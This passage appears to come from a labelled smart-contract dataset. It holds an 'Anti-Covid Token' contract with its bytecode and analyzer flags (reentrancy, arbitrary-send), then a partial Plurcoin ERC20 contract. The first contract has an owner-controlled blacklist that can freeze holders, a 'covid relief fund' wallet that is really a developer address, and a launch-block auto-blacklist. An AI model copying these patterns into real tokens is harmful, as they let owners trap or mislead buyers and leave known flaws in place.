function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AntiCovid is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Anti-Covid Token";
string private constant _symbol = "VACCINE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _covidReliefFund;
address payable private _buybackWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable buybackAddr) {
_covidReliefFund = devFundAddr;
_buybackWalletAddress = buybackAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_covidReliefFund] = true;
_isExcludedFromFee[_buybackWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
if (block.number == launchBlock) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_covidReliefFund.transfer(amount.div(2));
_buybackWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 6000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _covidReliefFund);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _covidReliefFund);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
| 0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf914610350578063cba0e99614610365578063d00efb2f1461039e578063d543dbeb146103b4578063dd62ed3e146103d4578063e47d60601461041a57600080fd5b80638da5cb5b146102a357806395d89b41146102cb578063a9059cbb146102fb578063b515566a1461031b578063c3c8cd801461033b57600080fd5b8063313ce567116100f2578063313ce5671461021d5780635932ead1146102395780636fc3eaec1461025957806370a082311461026e578063715018a61461028e57600080fd5b806306fdde031461013a578063095ea7b31461018557806318160ddd146101b557806323b872dd146101db578063273123b7146101fb57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152601081526f20b73a3496a1b7bb34b2102a37b5b2b760811b60208201525b60405161017c9190611b89565b60405180910390f35b34801561019157600080fd5b506101a56101a0366004611a1a565b610453565b604051901515815260200161017c565b3480156101c157600080fd5b50683635c9adc5dea000005b60405190815260200161017c565b3480156101e757600080fd5b506101a56101f63660046119da565b61046a565b34801561020757600080fd5b5061021b61021636600461196a565b6104d3565b005b34801561022957600080fd5b506040516009815260200161017c565b34801561024557600080fd5b5061021b610254366004611b0c565b610527565b34801561026557600080fd5b5061021b61056f565b34801561027a57600080fd5b506101cd61028936600461196a565b61059c565b34801561029a57600080fd5b5061021b6105be565b3480156102af57600080fd5b506000546040516001600160a01b03909116815260200161017c565b3480156102d757600080fd5b5060408051808201909152600781526656414343494e4560c81b602082015261016f565b34801561030757600080fd5b506101a5610316366004611a1a565b610632565b34801561032757600080fd5b5061021b610336366004611a45565b61063f565b34801561034757600080fd5b5061021b6106e3565b34801561035c57600080fd5b5061021b610719565b34801561037157600080fd5b506101a561038036600461196a565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103aa57600080fd5b506101cd60115481565b3480156103c057600080fd5b5061021b6103cf366004611b44565b610ae0565b3480156103e057600080fd5b506101cd6103ef3660046119a2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042657600080fd5b506101a561043536600461196a565b6001600160a01b03166000908152600a602052604090205460ff1690565b6000610460338484610bb3565b5060015b92915050565b6000610477848484610cd7565b6104c984336104c485604051806060016040528060288152602001611d5a602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111cd565b610bb3565b5060019392505050565b6000546001600160a01b031633146105065760405162461bcd60e51b81526004016104fd90611bdc565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146105515760405162461bcd60e51b81526004016104fd90611bdc565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461058f57600080fd5b4761059981611207565b50565b6001600160a01b0381166000908152600260205260408120546104649061128c565b6000546001600160a01b031633146105e85760405162461bcd60e51b81526004016104fd90611bdc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610460338484610cd7565b6000546001600160a01b031633146106695760405162461bcd60e51b81526004016104fd90611bdc565b60005b81518110156106df576001600a600084848151811061069b57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d781611cef565b91505061066c565b5050565b600c546001600160a01b0316336001600160a01b03161461070357600080fd5b600061070e3061059c565b905061059981611310565b6000546001600160a01b031633146107435760405162461bcd60e51b81526004016104fd90611bdc565b600f54600160a01b900460ff161561079d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104fd565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107da3082683635c9adc5dea00000610bb3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561081357600080fd5b505afa158015610827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084b9190611986565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561089357600080fd5b505afa1580156108a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cb9190611986565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561091357600080fd5b505af1158015610927573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094b9190611986565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061097b8161059c565b6000806109906000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109f357600080fd5b505af1158015610a07573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2c9190611b5c565b5050600f80546753444835ec5800006010554360115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aa857600080fd5b505af1158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106df9190611b28565b6000546001600160a01b03163314610b0a5760405162461bcd60e51b81526004016104fd90611bdc565b60008111610b5a5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104fd565b610b786064610b72683635c9adc5dea00000846114b5565b90611534565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b038216610c765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d3b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b038216610d9d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b60008111610dff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fd565b6000546001600160a01b03848116911614801590610e2b57506000546001600160a01b03838116911614155b1561117057600f54600160b81b900460ff1615610f12576001600160a01b0383163014801590610e6457506001600160a01b0382163014155b8015610e7e5750600e546001600160a01b03848116911614155b8015610e985750600e546001600160a01b03838116911614155b15610f1257600e546001600160a01b0316336001600160a01b03161480610ed25750600f546001600160a01b0316336001600160a01b0316145b610f125760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104fd565b6001600160a01b0383163014610f3157601054811115610f3157600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610f7357506001600160a01b0382166000908152600a602052604090205460ff16155b8015610f8f5750336000908152600a602052604090205460ff16155b610f9857600080fd5b600f546001600160a01b038481169116148015610fc35750600e546001600160a01b03838116911614155b8015610fe857506001600160a01b03821660009081526005602052604090205460ff16155b8015610ffd5750600f54600160b81b900460ff165b1561104b576001600160a01b0382166000908152600b6020526040902054421161102657600080fd5b61103142600f611c81565b6001600160a01b0383166000908152600b60205260409020555b60115443141561110357600f546001600160a01b038481169116148015906110815750600e546001600160a01b03848116911614155b156110ae576001600160a01b0383166000908152600a60205260409020805460ff19166001179055611103565b600f546001600160a01b038381169116148015906110da5750600e546001600160a01b03838116911614155b15611103576001600160a01b0382166000908152600a60205260409020805460ff191660011790555b600061110e3061059c565b600f54909150600160a81b900460ff161580156111395750600f546001600160a01b03858116911614155b801561114e5750600f54600160b01b900460ff165b1561116e5761115c81611310565b47801561116c5761116c47611207565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111b257506001600160a01b03831660009081526005602052604090205460ff165b156111bb575060005b6111c784848484611576565b50505050565b600081848411156111f15760405162461bcd60e51b81526004016104fd9190611b89565b5060006111fe8486611cd8565b95945050505050565b600c546001600160a01b03166108fc611221836002611534565b6040518115909202916000818181858888f19350505050158015611249573d6000803e3d6000fd5b50600d546001600160a01b03166108fc611264836002611534565b6040518115909202916000818181858888f193505050501580156106df573d6000803e3d6000fd5b60006006548211156112f35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fd565b60006112fd6115a2565b90506113098382611534565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113ba57600080fd5b505afa1580156113ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f29190611986565b8160018151811061141357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546114399130911684610bb3565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611472908590600090869030904290600401611c11565b600060405180830381600087803b15801561148c57600080fd5b505af11580156114a0573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826114c457506000610464565b60006114d08385611cb9565b9050826114dd8583611c99565b146113095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fd565b600061130983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115c5565b80611583576115836115f3565b61158e848484611616565b806111c7576111c76002600855600a600955565b60008060006115af61170d565b90925090506115be8282611534565b9250505090565b600081836115e65760405162461bcd60e51b81526004016104fd9190611b89565b5060006111fe8486611c99565b6008541580156116035750600954155b1561160a57565b60006008819055600955565b6000806000806000806116288761174f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165a90876117ac565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461168990866117ee565b6001600160a01b0389166000908152600260205260409020556116ab8161184d565b6116b58483611897565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116fa91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117298282611534565b82101561174657505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061176c8a6008546009546118bb565b925092509250600061177c6115a2565b9050600080600061178f8e87878761190a565b919e509c509a509598509396509194505050505091939550919395565b600061130983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111cd565b6000806117fb8385611c81565b9050838110156113095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fd565b60006118576115a2565b9050600061186583836114b5565b3060009081526002602052604090205490915061188290826117ee565b30600090815260026020526040902055505050565b6006546118a490836117ac565b6006556007546118b490826117ee565b6007555050565b60008080806118cf6064610b7289896114b5565b905060006118e26064610b728a896114b5565b905060006118fa826118f48b866117ac565b906117ac565b9992985090965090945050505050565b600080808061191988866114b5565b9050600061192788876114b5565b9050600061193588886114b5565b90506000611947826118f486866117ac565b939b939a50919850919650505050505050565b803561196581611d36565b919050565b60006020828403121561197b578081fd5b813561130981611d36565b600060208284031215611997578081fd5b815161130981611d36565b600080604083850312156119b4578081fd5b82356119bf81611d36565b915060208301356119cf81611d36565b809150509250929050565b6000806000606084860312156119ee578081fd5b83356119f981611d36565b92506020840135611a0981611d36565b929592945050506040919091013590565b60008060408385031215611a2c578182fd5b8235611a3781611d36565b946020939093013593505050565b60006020808385031215611a57578182fd5b823567ffffffffffffffff80821115611a6e578384fd5b818501915085601f830112611a81578384fd5b813581811115611a9357611a93611d20565b8060051b604051601f19603f83011681018181108582111715611ab857611ab8611d20565b604052828152858101935084860182860187018a1015611ad6578788fd5b8795505b83861015611aff57611aeb8161195a565b855260019590950194938601938601611ada565b5098975050505050505050565b600060208284031215611b1d578081fd5b813561130981611d4b565b600060208284031215611b39578081fd5b815161130981611d4b565b600060208284031215611b55578081fd5b5035919050565b600080600060608486031215611b70578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611bb557858101830151858201604001528201611b99565b81811115611bc65783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c605784516001600160a01b031683529383019391830191600101611c3b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c9457611c94611d0a565b500190565b600082611cb457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611cd357611cd3611d0a565b500290565b600082821015611cea57611cea611d0a565b500390565b6000600019821415611d0357611d03611d0a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059957600080fd5b801515811461059957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aadac614489674ab98b33e15924ba889043b6efb8a14012c3f56174d80d3fda764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,904 |
0x2c5f0c6a0911cccf527247248354cfaf0d20c0cc | /**
*Submitted for verification at Etherscan.io on 2021-05-01
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Plurcoin' token contract
//
// Symbol : PLUR
// Name : Plurcoin
// Total supply: 1 000 000 000
// Decimals : 4
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract PLUR is BurnableToken {
string public constant name = "Plurcoin";
string public constant symbol = "PLUR";
uint public constant decimals = 4;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
